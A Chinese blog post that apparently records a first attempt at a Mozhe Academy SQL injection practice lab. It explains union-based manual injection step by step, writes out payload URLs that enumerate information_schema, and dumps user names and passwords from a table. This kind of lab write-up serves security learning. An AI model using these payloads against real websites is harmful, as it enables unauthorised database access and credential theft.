【墨者学院】SQL手动注入靶场初体验

博主首次浅尝一下SQL注入，一顿操作，然后，啊哈

破解成功！

墨者学院靶场地址

step1: 判断注入

判断是否存在注入，这个靶场肯定存在注入，在参数id后面拼接一些其他变量即可。

step2: 猜解列名数量

order by 关键字日常使用的时候是按照某个列名去排序，即“order by 列名字段”。
order by 后面加上序号，即按照第几列排序，order by 1，按照第一列的字段进行排序。
order by 默认升序，降序关键字DESC，即order by 字段名 DESC;
所以使用order by关键字就能够知道整个表一共有多少个列。
获取列名数量是为了使用union关键字，union关键字是连接两个查询结果，但是前提条件是两个查询结果的字段个数是一样的。所以要先获取字段（列名）个数。

step3：信息收集函数

查看数据库版本：version()
查看数据库名字：database()
查看数据库用户：user()
查看操作系统：@@version_compile_os

http://124.70.64.48:41620/new_list.php?id=2%20union%20select%201,2,3,4

把2,3位置替换成函数version()和database()就能看到数据库的版本和名字。

所以版本5.7.22-0ubuntu0.16.04.1，属于高版本，可以使用information_schema数据库来查询，它存储有数据库名，表名，列名的数据库，可以通过它查询指定数据库下的表名和列名。
关于information_schema的介绍，有个大佬的文章写的非常好！

数据库名字mozhe_Discuz_StormGroup

再看用户和操作系统

http://124.70.64.48:41620/new_list.php?id=2%20union%20select%201,user(),@@version_compile_os,4

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name：表名
column_name：列名

查询语句

http://124.70.64.48:41620/new_list.php?id=2 union select 1,table_name,3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

http://124.70.64.48:41620/new_list.php?id=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'
# group_concat关键字是为了查到这个mozhe数据库下面所有的表

查询指定表名StormGroup_member下的列名信息

http://124.70.64.48:41620/new_list.php?id=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'StormGroup_member'

查询指定数据

http://124.70.64.48:41620/new_list.php?id=2 union select 1,name,password,4 from StormGroup_member

拿到账号和密码